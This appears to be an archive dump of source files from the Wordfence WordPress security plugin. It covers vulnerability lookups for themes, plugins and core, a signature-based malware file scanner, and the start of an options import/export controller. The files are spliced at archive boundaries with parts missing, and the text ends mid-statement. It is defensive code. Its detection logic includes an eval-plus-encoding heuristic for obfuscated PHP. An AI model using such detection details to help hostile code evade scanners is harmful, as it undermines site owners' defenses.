function checkThemeVulnerabilities($initial = false) { if (!function_exists('wp_update_themes')) { require_once(ABSPATH . WPINC . '/update.php'); } self::requirePluginsApi(); $this->checkThemeUpdates(!$initial, false); $update_themes = get_site_transient('update_themes'); $vulnerabilities = array(); if ($update_themes && !empty($update_themes->response)) { if (!function_exists('get_plugin_data')) { require_once(ABSPATH . '/wp-admin/includes/plugin.php'); } foreach ($update_themes->response as $themeSlug => $vals) { $valsArray = (array) $vals; $theme = wp_get_theme($themeSlug); $record = array(); $record['slug'] = $themeSlug; $record['toVersion'] = (isset($valsArray['new_version']) ? $valsArray['new_version'] : 'Unknown'); $record['fromVersion'] = $theme->version; $record['vulnerable'] = false; $vulnerabilities[] = $record; } try { $result = $this->api->call('theme_vulnerability_check', array(), array( 'themes' => json_encode($vulnerabilities), )); foreach ($vulnerabilities as &$v) { $vulnerableList = $result['vulnerable']; foreach ($vulnerableList as $r) { if ($r['slug'] == $v['slug']) { $v['vulnerable'] = !!$r['vulnerable']; if (isset($r['link'])) { $v['link'] = $r['link']; } if (isset($r['score'])) { $v['score'] = $r['score']; } if (isset($r['vector'])) { $v['vector'] = $r['vector']; } break; } } } } catch (Exception $e) { //Do nothing } wfConfig::set_ser('vulnerabilities_theme', $vulnerabilities, false, wfConfig::DONT_AUTOLOAD); } } /** * Returns whether the core version is vulnerable. Available $which values are `current` for the version running now, * `patch` for the patch update (if available), and `edge` for the most recent update available. `patch` and `edge` * are accurate only if an update is actually available and will return false otherwise. * * @param string $which * @return bool */ public function isCoreVulnerable($which = 'current') { static $_vulnerabilitiesRefreshed = false; $vulnerabilities = wfConfig::get_ser('vulnerabilities_core', null); if ($vulnerabilities === null) { if (!$_vulnerabilitiesRefreshed) { $this->checkCoreVulnerabilities(true); $_vulnerabilitiesRefreshed = true; } //Verify that we got a valid response, if not, avoid infinite recursion $vulnerabilities = wfConfig::get_ser('vulnerabilities_core', null); if ($vulnerabilities === null) { wordfence::status(4, 'error', __("Failed obtaining core vulnerability data, skipping check.", 'wordfence')); return false; } return $this->isCoreVulnerable($which); } if (!isset($vulnerabilities[$which])) { return false; } return !!$vulnerabilities[$which]['vulnerable']; } public function isPluginVulnerable($slug, $version) { return $this->_isSlugVulnerable('vulnerabilities_plugin', $slug, $version, function(){ $this->checkPluginVulnerabilities(true); }); } public function isThemeVulnerable($slug, $version) { return $this->_isSlugVulnerable('vulnerabilities_theme', $slug, $version, function(){ $this->checkThemeVulnerabilities(true); }); } private function _isSlugVulnerable($vulnerabilitiesKey, $slug, $version, $populateVulnerabilities=null) { static $_vulnerabilitiesRefreshed = array(); $vulnerabilities = wfConfig::get_ser($vulnerabilitiesKey, null); if ( $vulnerabilities === null) { if (is_callable($populateVulnerabilities)) { if (!isset($_vulnerabilitiesRefreshed[$vulnerabilitiesKey])) { $populateVulnerabilities(); $_vulnerabilitiesRefreshed[$vulnerabilitiesKey] = true; } $vulnerabilities = wfConfig::get_ser($vulnerabilitiesKey, null); if ($vulnerabilities === null) { wordfence::status(4, 'error', __("Failed obtaining vulnerability data, skipping check.", 'wordfence')); return false; } return $this->_isSlugVulnerable($vulnerabilitiesKey, $slug, $version); } return false; } foreach ($vulnerabilities as $v) { if ($v['slug'] == $slug) { if ( ($v['fromVersion'] == 'Unknown' && $v['toVersion'] == 'Unknown') || ((!isset($v['toVersion']) || $v['toVersion'] == 'Unknown') && version_compare($version, $v['fromVersion']) >= 0) || ($v['fromVersion'] == 'Unknown' && isset($v['toVersion']) && version_compare($version, $v['toVersion']) < 0) || (version_compare($version, $v['fromVersion']) >= 0 && isset($v['toVersion']) && version_compare($version, $v['toVersion']) < 0) ) { if ($v['vulnerable']) { return $v; } return false; } } } return false; } /** * @return boolean */ public function needsCoreUpdate() { return $this->needs_core_update; } /** * @return string */ public function getCoreUpdateVersion() { return $this->core_update_version; } /** * Returns true if there is a patch version available for the site's current minor branch and the site is not on * the most recent minor branch (e.g., a backported security update). * * Example: suppose the site is currently on 4.1.37. This will return true and `getCoreUpdatePatchVersion` will * return 4.1.39. `getCoreUpdateVersion` will return 6.4.2 (as of writing this comment). * * @return bool */ public function coreUpdatePatchAvailable() { return $this->core_update_patch_available; } /** * The version number for the patch update if available. * * @return string */ public function getCoreUpdatePatchVersion() { return $this->core_update_patch_version; } /** * Returns whether or not the current core version is on a major or minor release earlier than the current available * edge update. * * @return bool */ public function getCoreEarlierBranch() { return $this->core_earlier_branch; } /** * @return array */ public function getPluginUpdates() { return $this->plugin_updates; } /** * @return array */ public function getAllPlugins() { return $this->all_plugins; } /** * @return array */ public function getPluginSlugs() { return $this->plugin_slugs; } /** * @return array */ public function getThemeUpdates() { return $this->theme_updates; } }wfDict.php000064400000001342147206764270006514 0ustar00 'wp\-includes\/version\.php', 'include' => self::EXCLUSION_PATTERNS_KNOWN_FILES), //Excluded from the known files scan because non-en_US installations will have extra content that fails the check, still in malware scan array('pattern' => '(?:wp\-includes|wp\-admin)\/(?:[^\/]+\/+)*(?:\.htaccess|\.htpasswd|php_errorlog|error_log|[^\/]+?\.log|\._|\.DS_Store|\.listing|dwsync\.xml)', 'include' => self::EXCLUSION_PATTERNS_KNOWN_FILES), ); /** @var wfScanEngine */ protected $scanEngine; private $urlHoover; public function __sleep(){ return array('path', 'results', 'resultFilesByShac', 'errorMsg', 'apiKey', 'wordpressVersion', 'urlHoover', 'totalFilesScanned', 'startTime', 'lastStatusTime', 'patterns', 'scanEngine'); } public function __wakeup(){ } public function __construct($apiKey, $wordpressVersion, $path, $scanEngine) { $this->apiKey = $apiKey; $this->wordpressVersion = $wordpressVersion; $this->api = new wfAPI($this->apiKey, $this->wordpressVersion); if($path[strlen($path) - 1] != '/'){ $path .= '/'; } $this->path = $path; $this->scanEngine = $scanEngine; $this->errorMsg = false; //First extract hosts or IPs and their URLs into $this->hostsFound and URL's into $this->urlsFound $options = $this->scanEngine->scanController()->scanOptions(); if ($options['scansEnabled_fileContentsGSB']) { $this->urlHoover = new wordfenceURLHoover($this->apiKey, $this->wordpressVersion); } else { $this->urlHoover = false; } if ($options['scansEnabled_fileContents']) { $this->setupSigs(); } else { $this->patterns = array(); } } /** * Get scan regexes from noc1 and add any user defined regexes, including descriptions, ID's and time added. * @todo add caching to this. * @throws Exception */ protected function setupSigs() { $sigData = $this->api->call('get_patterns', array(), array()); if(! (is_array($sigData) && isset($sigData['rules'])) ){ throw new Exception(__('Wordfence could not get the attack signature patterns from the scanning server.', 'wordfence')); } if (is_array($sigData['rules'])) { $wafPatterns = array(); $wafCommonStringIndexes = array(); foreach ($sigData['rules'] as $key => $signatureRow) { list($id, , $pattern) = $signatureRow; if (empty($pattern)) { throw new Exception(__('Wordfence received malformed attack signature patterns from the scanning server.', 'wordfence')); } $logOnly = (isset($signatureRow[5]) && !empty($signatureRow[5])) ? $signatureRow[5] : false; $commonStringIndexes = (isset($signatureRow[8]) && is_array($signatureRow[8])) ? $signatureRow[8] : array(); if (@preg_match('/' . $pattern . '/iS', '') === false) { wordfence::status(1, 'error', sprintf(__('Regex compilation failed for signature %d', 'wordfence'), (int) $id)); unset($sigData['rules'][$key]); } else if (!$logOnly) { $wafPatterns[] = $pattern; $wafCommonStringIndexes[] = $commonStringIndexes; } } } $userSignatures = wfScanner::shared()->userScanSignatures(); foreach ($userSignatures as $s) { $sigData['rules'][] = $s; } $this->patterns = $sigData; if (isset($this->patterns['signatureUpdateTime'])) { wfConfig::set('signatureUpdateTime', $this->patterns['signatureUpdateTime']); } } /** * Return regular expression to exclude files or false if * there is no pattern * * @param $whichPatterns int Bitmask indicating which patterns to include. * @return array|boolean */ public static function getExcludeFilePattern($whichPatterns = self::EXCLUSION_PATTERNS_USER) { if (isset(self::$excludePatterns[$whichPatterns])) { return self::$excludePatterns[$whichPatterns]; } $exParts = array(); if (($whichPatterns & self::EXCLUSION_PATTERNS_USER) > 0) { $exParts = wfScanner::shared()->userExclusions(); } $exParts = array_filter($exParts); foreach ($exParts as $key => &$exPart) { $exPart = trim($exPart); if ($exPart === '*') { unset($exParts[$key]); continue; } $exPart = preg_quote($exPart, '/'); $exPart = preg_replace('/\\\\\*/', '.*', $exPart); } foreach (self::$builtinExclusions as $pattern) { if (($pattern['include'] & $whichPatterns) > 0) { $exParts[] = $pattern['pattern']; } } $exParts = array_filter($exParts); if (!empty($exParts)) { $chunks = array_chunk($exParts, 100); self::$excludePatterns[$whichPatterns] = array(); foreach ($chunks as $parts) { self::$excludePatterns[$whichPatterns][] = '/(?:' . implode('|', $parts) . ')$/i'; } } else { self::$excludePatterns[$whichPatterns] = false; } return self::$excludePatterns[$whichPatterns]; } /** * @param wfScanEngine $forkObj * @return array */ public function scan($forkObj){ $this->scanEngine = $forkObj; $loader = $this->scanEngine->getKnownFilesLoader(); if(! $this->startTime){ $this->startTime = microtime(true); } if(! $this->lastStatusTime){ $this->lastStatusTime = microtime(true); } //The site's own URL is checked in an earlier scan stage so we exclude it here. $options = $this->scanEngine->scanController()->scanOptions(); $hooverExclusions = array(); if ($options['scansEnabled_fileContentsGSB']) { $hooverExclusions = wordfenceURLHoover::standardExcludedHosts(); } $backtrackLimit = ini_get('pcre.backtrack_limit'); if (is_numeric($backtrackLimit)) { $backtrackLimit = (int) $backtrackLimit; if ($backtrackLimit > 10000000) { ini_set('pcre.backtrack_limit', 1000000); wordfence::status(4, 'info', sprintf(/* translators: PHP ini setting (number). */ __('Backtrack limit is %d, reducing to 1000000', 'wordfence'), $backtrackLimit)); } } else { $backtrackLimit = false; } $lastCount = 'whatever'; $excludePatterns = self::getExcludeFilePattern(self::EXCLUSION_PATTERNS_USER | self::EXCLUSION_PATTERNS_MALWARE); while (true) { $thisCount = wordfenceMalwareScanFile::countRemaining(); if ($thisCount == $lastCount) { //count should always be decreasing. If not, we're in an infinite loop so lets catch it early wordfence::status(4, 'info', __('Detected loop in malware scan, aborting.', 'wordfence')); break; } $lastCount = $thisCount; $files = wordfenceMalwareScanFile::files(); if (count($files) < 1) { wordfence::status(4, 'info', __('No files remaining for malware scan.', 'wordfence')); break; } $completed = []; foreach ($files as $record) { $file = $record->filename; if ($excludePatterns) { foreach ($excludePatterns as $pattern) { if (preg_match($pattern, $file)) { $completed[] = $record; continue 2; } } } if (!file_exists($record->realPath)) { $completed[] = $record; continue; } $fileSum = $record->newMD5; $fileExt = ''; if(preg_match('/\.([a-zA-Z\d\-]{1,7})$/', $file, $matches)){ $fileExt = strtolower($matches[1]); } $isPHP = false; if(preg_match('/\.(?:php(?:\d+)?|phtml)(\.|$)/i', $file)) { $isPHP = true; } $isHTML = false; if(preg_match('/\.(?:html?)(\.|$)/i', $file)) { $isHTML = true; } $isJS = false; if(preg_match('/\.(?:js|svg)(\.|$)/i', $file)) { $isJS = true; } $dontScanForURLs = false; if (!$options['scansEnabled_highSense'] && (preg_match('/^(?:\.htaccess|wp\-config\.php)$/', $file) || $file === ini_get('user_ini.filename'))) { $dontScanForURLs = true; } $isScanImagesFile = false; if (!$isPHP && preg_match('/^(?:jpg|jpeg|mp3|avi|m4v|mov|mp4|gif|png|tiff?|svg|sql|js|tbz2?|bz2?|xz|zip|tgz|gz|tar|log|err\d+)$/', $fileExt)) { if ($options['scansEnabled_scanImages']) { $isScanImagesFile = true; } else if (!$isJS) { $completed[] = $record; continue; } } $isHighSensitivityFile = false; if (strtolower($fileExt) == 'sql') { if ($options['scansEnabled_highSense']) { $isHighSensitivityFile = true; } else { $completed[] = $record; continue; } } if(wfUtils::fileTooBig($record->realPath, $fsize, $fh)){ //We can't use filesize on 32 bit systems for files > 2 gigs //We should not need this check because files > 2 gigs are not hashed and therefore won't be received back as unknowns from the API server //But we do it anyway to be safe. wordfence::status(2, 'error', sprintf(/* translators: File path. */ __('Encountered file that is too large: %s - Skipping.', 'wordfence'), $file)); $completed[] = $record; continue; } $fsize = wfUtils::formatBytes($fsize); if (function_exists('memory_get_usage')) { wordfence::status(4, 'info', sprintf( /* translators: 1. File path. 2. File size. 3. Memory in bytes. */ __('Scanning contents: %1$s (Size: %2$s Mem: %3$s)', 'wordfence'), $file, $fsize, wfUtils::formatBytes(memory_get_usage(true)) )); } else { wordfence::status(4, 'info', sprintf( /* translators: 1. File path. 2. File size. */ __('Scanning contents: %1$s (Size: %2$s)', 'wordfence'), $file, $fsize )); } $stime = microtime(true); if (!$fh) { $completed[] = $record; continue; } $totalRead = (int) $record->stoppedOnPosition; if ($totalRead > 0) { if (@fseek($fh, $totalRead, SEEK_SET) !== 0) { $totalRead = 0; } } if ($totalRead === 0 && @fseek($fh, $totalRead, SEEK_SET) !== 0) { wordfence::status(2, 'error', sprintf(/* translators: File path. */ __('Seek error occurred in file: %s - Skipping.', 'wordfence'), $file)); $completed[] = $record; continue; } $dataForFile = $this->dataForFile($file); $first = true; while (!feof($fh)) { $data = fread($fh, 1 * 1024 * 1024); //read 1 megs max per chunk $readSize = wfUtils::strlen($data); $currentPosition = $totalRead; $totalRead += $readSize; if ($readSize < 1) { break; } $extraMsg = ''; if ($isScanImagesFile) { $extraMsg = ' ' . __('This file was detected because you have enabled "Scan images, binary, and other files as if they were executable", which treats non-PHP files as if they were PHP code. This option is more aggressive than the usual scans, and may cause false positives.', 'wordfence'); } else if ($isHighSensitivityFile) { $extraMsg = ' ' . __('This file was detected because you have enabled HIGH SENSITIVITY scanning. This option is more aggressive than the usual scans, and may cause false positives.', 'wordfence'); } $treatAsBinary = ($isPHP || $isHTML || $options['scansEnabled_scanImages']); if ($options['scansEnabled_fileContents']) { $allCommonStrings = $this->patterns['commonStrings']; $commonStringsFound = array_fill(0, count($allCommonStrings), null); //Lazily looked up below $regexMatched = false; foreach ($this->patterns['rules'] as $rule) { $stoppedOnSignature = $record->stoppedOnSignature; if (!empty($stoppedOnSignature)) { //Advance until we find the rule we stopped on last time //wordfence::status(4, 'info', "Searching for malware scan resume point (". $stoppedOnSignature . ") at rule " . $rule[0]); if ($stoppedOnSignature == $rule[0]) { $record->updateStoppedOn('', $currentPosition); wordfence::status(4, 'info', sprintf(/* translators: Malware signature rule ID. */ __('Resuming malware scan at rule %s.', 'wordfence'), $rule[0])); } continue; } $type = (isset($rule[4]) && !empty($rule[4])) ? $rule[4] : 'server'; $logOnly = (isset($rule[5]) && !empty($rule[5])) ? $rule[5] : false; $commonStringIndexes = (isset($rule[8]) && is_array($rule[8])) ? $rule[8] : array(); if ($type == 'server' && !$treatAsBinary) { continue; } else if (($type == 'both' || $type == 'browser') && $isJS) { $extraMsg = ''; } else if (($type == 'both' || $type == 'browser') && !$treatAsBinary) { continue; } if (!$first && substr($rule[2], 0, 1) == '^') { //wordfence::status(4, 'info', "Skipping malware signature ({$rule[0]}) because it only applies to the file beginning."); continue; } foreach ($commonStringIndexes as $i) { if ($commonStringsFound[$i] === null) { $s = $allCommonStrings[$i]; $commonStringsFound[$i] = (preg_match('/' . $s . '/i', $data) == 1); } if (!$commonStringsFound[$i]) { //wordfence::status(4, 'info', "Skipping malware signature ({$rule[0]}) due to short circuit."); continue 2; } } /*if (count($commonStringIndexes) > 0) { wordfence::status(4, 'info', "Processing malware signature ({$rule[0]}) because short circuit matched."); }*/ if (preg_match('/(' . $rule[2] . ')/iS', $data, $matches, PREG_OFFSET_CAPTURE)) { $customMessage = isset($rule[9]) ? $rule[9] : __('This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans.', 'wordfence'); $matchString = $matches[1][0]; $matchOffset = $matches[1][1]; $beforeString = wfWAFUtils::substr($data, max(0, $matchOffset - 100), $matchOffset - max(0, $matchOffset - 100)); $afterString = wfWAFUtils::substr($data, $matchOffset + strlen($matchString), 100); if (!$logOnly) { $this->addResult(array( 'type' => 'file', 'severity' => wfIssues::SEVERITY_CRITICAL, 'ignoreP' => $record->realPath, 'ignoreC' => $fileSum, 'shortMsg' => sprintf(__('File appears to be malicious or unsafe: %s', 'wordfence'), esc_html($record->getDisplayPath())), 'longMsg' => $customMessage . ' ' . sprintf(__('The matched text in this file is: %s', 'wordfence'), '' . wfUtils::potentialBinaryStringToHTML((wfUtils::strlen($matchString) > 200 ? wfUtils::substr($matchString, 0, 200) . '...' : $matchString)) . '') . ' ' . '

' . sprintf(/* translators: Scan result type. */ __('The issue type is: %s', 'wordfence'), '' . esc_html($rule[7]) . '') . '
' . sprintf(/* translators: Scan result description. */ __('Description: %s', 'wordfence'), '' . esc_html($rule[3]) . '') . $extraMsg, 'data' => array_merge(array( 'file' => $file, 'realFile' => $record->realPath, 'shac' => $record->SHAC, 'highSense' => $options['scansEnabled_highSense'] ), $dataForFile), )); } $regexMatched = true; $this->scanEngine->recordMetric('malwareSignature', $rule[0], array('file' => substr($file, 0, 255), 'match' => substr($matchString, 0, 65535), 'before' => $beforeString, 'after' => $afterString, 'md5' => $record->newMD5, 'shac' => $record->SHAC), false); break; } if ($forkObj->shouldFork()) { $record->updateStoppedOn($rule[0], $currentPosition); fclose($fh); wordfenceMalwareScanFile::markCompleteBatch($completed); wordfence::status(4, 'info', sprintf(/* translators: Malware signature rule ID. */ __('Forking during malware scan (%s) to ensure continuity.', 'wordfence'), $rule[0])); $forkObj->fork(); //exits } } if ($regexMatched) { break; } if ($treatAsBinary && $options['scansEnabled_highSense']) { $badStringFound = false; if (strpos($data, $this->patterns['badstrings'][0]) !== false) { for ($i = 1; $i < sizeof($this->patterns['badstrings']); $i++) { if (wfUtils::strpos($data, $this->patterns['badstrings'][$i]) !== false) { $badStringFound = $this->patterns['badstrings'][$i]; break; } } } if ($badStringFound) { $this->addResult(array( 'type' => 'file', 'severity' => wfIssues::SEVERITY_CRITICAL, 'ignoreP' => $record->realPath, 'ignoreC' => $fileSum, 'shortMsg' => __('This file may contain malicious executable code: ', 'wordfence') . esc_html($record->getDisplayPath()), 'longMsg' => sprintf(/* translators: Malware signature matched text. */ __('This file is a PHP executable file and contains the word "eval" (without quotes) and the word "%s" (without quotes). The eval() function along with an encoding function like the one mentioned are commonly used by hackers to hide their code. If you know about this file you can choose to ignore it to exclude it from future scans. This file was detected because you have enabled HIGH SENSITIVITY scanning. This option is more aggressive than the usual scans, and may cause false positives.', 'wordfence'), '' . esc_html($badStringFound) . ''), 'data' => array_merge(array( 'file' => $file, 'realFile' => $record->realPath, 'shac' => $record->SHAC, 'highSense' => $options['scansEnabled_highSense'] ), $dataForFile), )); break; } } } if (!$dontScanForURLs && $options['scansEnabled_fileContentsGSB']) { $found = $this->urlHoover->hoover($file, $data, $hooverExclusions); $this->scanEngine->scanController()->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_URLS, $found); } if ($totalRead > 2 * 1024 * 1024) { break; } $first = false; } fclose($fh); $this->totalFilesScanned++; if(microtime(true) - $this->lastStatusTime > 1){ $this->lastStatusTime = microtime(true); $this->writeScanningStatus(); } $completed[] = $record; $shouldFork = $forkObj->shouldFork(); if ($shouldFork || count($completed) > 100) { wordfenceMalwareScanFile::markCompleteBatch($completed); $completed = []; if ($shouldFork) { wordfence::status(4, 'info', __("Forking during malware scan to ensure continuity.", 'wordfence')); $forkObj->fork(); } } } wordfenceMalwareScanFile::markCompleteBatch($completed); } $this->writeScanningStatus(); if ($options['scansEnabled_fileContentsGSB']) { wordfence::status(2, 'info', __('Asking Wordfence to check URLs against malware list.', 'wordfence')); $hooverResults = $this->urlHoover->getBaddies(); if($this->urlHoover->errorMsg){ $this->errorMsg = $this->urlHoover->errorMsg; if ($backtrackLimit !== false) { ini_set('pcre.backtrack_limit', $backtrackLimit); } return false; } $this->urlHoover->cleanup(); foreach($hooverResults as $file => $hresults){ $record = wordfenceMalwareScanFile::fileForPath($file); $dataForFile = $this->dataForFile($file, $record->realPath); foreach($hresults as $result){ if(preg_match('/wfBrowscapCache\.php$/', $file)){ continue; } if (empty($result['URL'])) { continue; } if ($result['badList'] == 'goog-malware-shavar') { $this->addResult(array( 'type' => 'file', 'severity' => wfIssues::SEVERITY_CRITICAL, 'ignoreP' => $record->realPath, 'ignoreC' => md5_file($record->realPath), 'shortMsg' => __('File contains suspected malware URL: ', 'wordfence') . esc_html($record->getDisplayPath()), 'longMsg' => wp_kses(sprintf( /* translators: 1. Malware signature matched text. 2. Malicious URL. 3. Malicious URL. */ __('This file contains a suspected malware URL listed on Google\'s list of malware sites. Wordfence decodes %1$s when scanning files so the URL may not be visible if you view this file. The URL is: %2$s - More info available at Google Safe Browsing diagnostic page (opens in new tab).', 'wordfence'), esc_html($this->patterns['word3']), esc_html($result['URL']), urlencode($result['URL']) ), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('class'))), 'data' => array_merge(array( 'file' => $file, 'realFile' => $record->realPath, 'shac' => $record->SHAC, 'badURL' => $result['URL'], 'gsb' => 'goog-malware-shavar', 'highSense' => $options['scansEnabled_highSense'] ), $dataForFile), )); } else if ($result['badList'] == 'googpub-phish-shavar') { $this->addResult(array( 'type' => 'file', 'severity' => wfIssues::SEVERITY_CRITICAL, 'ignoreP' => $record->realPath, 'ignoreC' => md5_file($record->realPath), 'shortMsg' => __('File contains suspected phishing URL: ', 'wordfence') . esc_html($record->getDisplayPath()), 'longMsg' => __('This file contains a URL that is a suspected phishing site that is currently listed on Google\'s list of known phishing sites. The URL is: ', 'wordfence') . esc_html($result['URL']), 'data' => array_merge(array( 'file' => $file, 'realFile' => $record->realPath, 'shac' => $record->SHAC, 'badURL' => $result['URL'], 'gsb' => 'googpub-phish-shavar', 'highSense' => $options['scansEnabled_highSense'] ), $dataForFile), )); } else if ($result['badList'] == 'wordfence-dbl') { $this->addResult(array( 'type' => 'file', 'severity' => wfIssues::SEVERITY_CRITICAL, 'ignoreP' => $record->realFile, 'ignoreC' => md5_file($record->realPath), 'shortMsg' => __('File contains suspected malware URL: ', 'wordfence') . esc_html($record->getDisplayPath()), 'longMsg' => __('This file contains a URL that is currently listed on Wordfence\'s domain blocklist. The URL is: ', 'wordfence') . esc_html($result['URL']), 'data' => array_merge(array( 'file' => $file, 'realFile' => $record->realPath, 'shac' => $record->SHAC, 'badURL' => $result['URL'], 'gsb' => 'wordfence-dbl', 'highSense' => $options['scansEnabled_highSense'] ), $dataForFile), )); } } } } wfUtils::afterProcessingFile(); wordfence::status(4, 'info', __('Finalizing malware scan results', 'wordfence')); if (!empty($this->results)) { $safeFiles = $this->scanEngine->isSafeFile(array_keys($this->resultFilesByShac)); foreach ($safeFiles as $hash) { foreach ($this->resultFilesByShac[$hash] as $file) unset($this->results[$file]); } } if ($backtrackLimit !== false) { ini_set('pcre.backtrack_limit', $backtrackLimit); } return $this->results; } protected function writeScanningStatus() { wordfence::status(2, 'info', sprintf( /* translators: 1. Number of fils. 2. Seconds in millisecond precision. */ __('Scanned contents of %1$d additional files at %2$.2f per second', 'wordfence'), $this->totalFilesScanned, ($this->totalFilesScanned / (microtime(true) - $this->startTime)) )); } protected function addResult($result) { if (isset($result['data']['file'])) { $file = $result['data']['file']; $existing = array_key_exists($file, $this->results) ? $this->results[$file] : null; if ($existing === null || $existing['severity'] > $result['severity']) { $this->results[$file] = $result; if (isset($result['data']['shac'])) { $shac = $result['data']['shac']; if (!array_key_exists($shac, $this->resultFilesByShac)) $this->resultFilesByShac[$shac] = []; $this->resultFilesByShac[$shac][] = $file; } } } else { $this->results[] = $result; } } /** * @param string $file * @return array */ private function dataForFile($file, $fullPath = null) { $loader = $this->scanEngine->getKnownFilesLoader(); $data = array(); if ($isKnownFile = $loader->isKnownFile($file)) { if ($loader->isKnownCoreFile($file)) { $data['cType'] = 'core'; } else if ($loader->isKnownPluginFile($file)) { $data['cType'] = 'plugin'; list($itemName, $itemVersion, $cKey) = $loader->getKnownPluginData($file); $data = array_merge($data, array( 'cName' => $itemName, 'cVersion' => $itemVersion, 'cKey' => $cKey )); } else if ($loader->isKnownThemeFile($file)) { $data['cType'] = 'theme'; list($itemName, $itemVersion, $cKey) = $loader->getKnownThemeData($file); $data = array_merge($data, array( 'cName' => $itemName, 'cVersion' => $itemVersion, 'cKey' => $cKey )); } } $suppressDelete = false; $canRegenerate = false; if ($fullPath !== null) { $bootstrapPath = wordfence::getWAFBootstrapPath(); $htaccessPath = wfUtils::getHomePath() . '.htaccess'; $userIni = ini_get('user_ini.filename'); $userIniPath = false; if ($userIni) { $userIniPath = wfUtils::getHomePath() . $userIni; } if ($fullPath == $htaccessPath) { $suppressDelete = true; } else if ($userIniPath !== false && $fullPath == $userIniPath) { $suppressDelete = true; } else if ($fullPath == $bootstrapPath) { $suppressDelete = true; $canRegenerate = true; } } $localFile = realpath($this->path . $file); $isWPConfig = $localFile === ABSPATH . 'wp-config.php'; $data['canDiff'] = $isKnownFile; $data['canFix'] = $isKnownFile && !$isWPConfig; $data['canDelete'] = !$isKnownFile && !$canRegenerate && !$suppressDelete && !$isWPConfig; $data['canRegenerate'] = $canRegenerate && !$isWPConfig; $data['wpconfig'] = $isWPConfig; return $data; } } /** * Convenience class for interfacing with the wfFileMods table. * * @property string $filename * @property string $filenameMD5 * @property string $newMD5 * @property string $SHAC * @property string $stoppedOnSignature * @property string $stoppedOnPosition * @property string $isSafeFile */ class wordfenceMalwareScanFile { protected $_filename; protected $_realPath; protected $_filenameMD5; protected $_filenameMD5Hex; protected $_newMD5; protected $_shac; protected $_stoppedOnSignature; protected $_stoppedOnPosition; protected $_isSafeFile; protected static function getDB() { static $db = null; if ($db === null) { $db = new wfDB(); } return $db; } public static function countRemaining() { $db = self::getDB(); return $db->querySingle("SELECT COUNT(*) FROM " . wfDB::networkTable('wfFileMods') . " WHERE oldMD5 != newMD5 AND knownFile = 0"); } public static function files($limit = 500) { $db = self::getDB(); $result = $db->querySelect("SELECT filename, real_path, filenameMD5, HEX(newMD5) AS newMD5, HEX(SHAC) AS SHAC, stoppedOnSignature, stoppedOnPosition, isSafeFile FROM " . wfDB::networkTable('wfFileMods') . " WHERE oldMD5 != newMD5 AND knownFile = 0 AND isSafeFile != '1' LIMIT %d", $limit); $files = array(); foreach ($result as $row) { $files[] = new wordfenceMalwareScanFile($row['filename'], $row['real_path'], $row['filenameMD5'], $row['newMD5'], $row['SHAC'], $row['stoppedOnSignature'], $row['stoppedOnPosition'], $row['isSafeFile']); } return $files; } public static function fileForPath($file) { $db = self::getDB(); $row = $db->querySingleRec("SELECT filename, real_path, filenameMD5, HEX(newMD5) AS newMD5, HEX(SHAC) AS SHAC, stoppedOnSignature, stoppedOnPosition, isSafeFile FROM " . wfDB::networkTable('wfFileMods') . " WHERE filename = '%s'", $file); return new wordfenceMalwareScanFile($row['filename'], $row['real_path'], $row['filenameMD5'], $row['newMD5'], $row['SHAC'], $row['stoppedOnSignature'], $row['stoppedOnPosition'], $row['isSafeFile']); } public function __construct($filename, $realPath, $filenameMD5, $newMD5, $shac, $stoppedOnSignature, $stoppedOnPosition, $isSafeFile) { $this->_filename = $filename; $this->_realPath = $realPath; $this->_filenameMD5 = $filenameMD5; $this->_filenameMD5Hex = bin2hex($filenameMD5); $this->_newMD5 = $newMD5; $this->_shac = strtoupper($shac); $this->_stoppedOnSignature = $stoppedOnSignature; $this->_stoppedOnPosition = $stoppedOnPosition; $this->_isSafeFile = $isSafeFile; } public function __get($key) { switch ($key) { case 'filename': return $this->_filename; case 'realPath': return $this->_realPath; case 'filenameMD5': return $this->_filenameMD5; case 'filenameMD5Hex': return $this->_filenameMD5Hex; case 'newMD5': return $this->_newMD5; case 'SHAC': return $this->_shac; case 'stoppedOnSignature': return $this->_stoppedOnSignature; case 'stoppedOnPosition': return $this->_stoppedOnPosition; case 'isSafeFile': return $this->_isSafeFile; } } public function __toString() { return "Record [filename: {$this->filename}, realPath: {$this->realPath}, filenameMD5: {$this->filenameMD5}, newMD5: {$this->newMD5}, stoppedOnSignature: {$this->stoppedOnSignature}, stoppedOnPosition: {$this->stoppedOnPosition}]"; } public static function markCompleteBatch($records) { if (empty($records)) return; $db = self::getDB(); $db->update( wfDB::networkTable('wfFileMods'), [ 'oldMD5' => 'newMD5' ], [ 'filenameMD5' => array_map(function($record) { return $record->filenameMD5Hex; }, $records) ], [ 'filenameMD5' => 'UNHEX(%s)' ] ); } public function updateStoppedOn($signature, $position) { $this->_stoppedOnSignature = $signature; $this->_stoppedOnPosition = $position; $db = self::getDB(); $db->queryWrite("UPDATE " . wfDB::networkTable('wfFileMods') . " SET stoppedOnSignature = '%s', stoppedOnPosition = %d WHERE filenameMD5 = UNHEX(%s)", $this->stoppedOnSignature, $this->stoppedOnPosition, $this->filenameMD5Hex); } public function getDisplayPath() { if (preg_match('#(^|/)..(/|$)#', $this->filename)) return $this->realPath; return $this->filename; } }wfImportExportController.php000064400000006352147206764270012357 0ustar00call('export_options', array(), array('export' => json_encode($export))); if ($res['ok'] && $res['token']) { return array( 'ok' => 1, 'token' => $res['token'], ); } else if ($res['err']) { return array('err' => __("An error occurred: ", 'wordfence') . $res['err']); } else { throw new Exception(__("Invalid response: ", 'wordfence') . var_export($res, true)); } } catch (Exception $e) { return array('err' => __("An error occurred: ", 'wordfence') . $e->getMessage()); } } public function import($token) { try { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); $res = $api->call('import_options', array(), array('token' => $token)); if ($res['ok'] && $res['export']) { $totalSet = 0; $import = @json_decode($res['export'], true); if (!is_array($import)) { return array('err' => __("An error occurred: Invalid options format received.", 'wordfence')); } //Basic Options $keys = wfConfig::getExportableOptionsKeys(); $toSet = array(); foreach ($keys as $key) { if (isset($import[$key])) { $toSet[$key] = $import[$key]; } } if (count($toSet)) { $validation = wfConfig::validate($toSet); $skipped = array(); if ($validation !== true) { foreach ($validation as $error) { $skipped[$error['option']] = $error['error']; unset($toSet[$error['option']]); } } $totalSet += count($toSet); wfConfig::save(wfConfig::clean($toSet)); } //Serialized Options if (isset($import['scanSched']) && 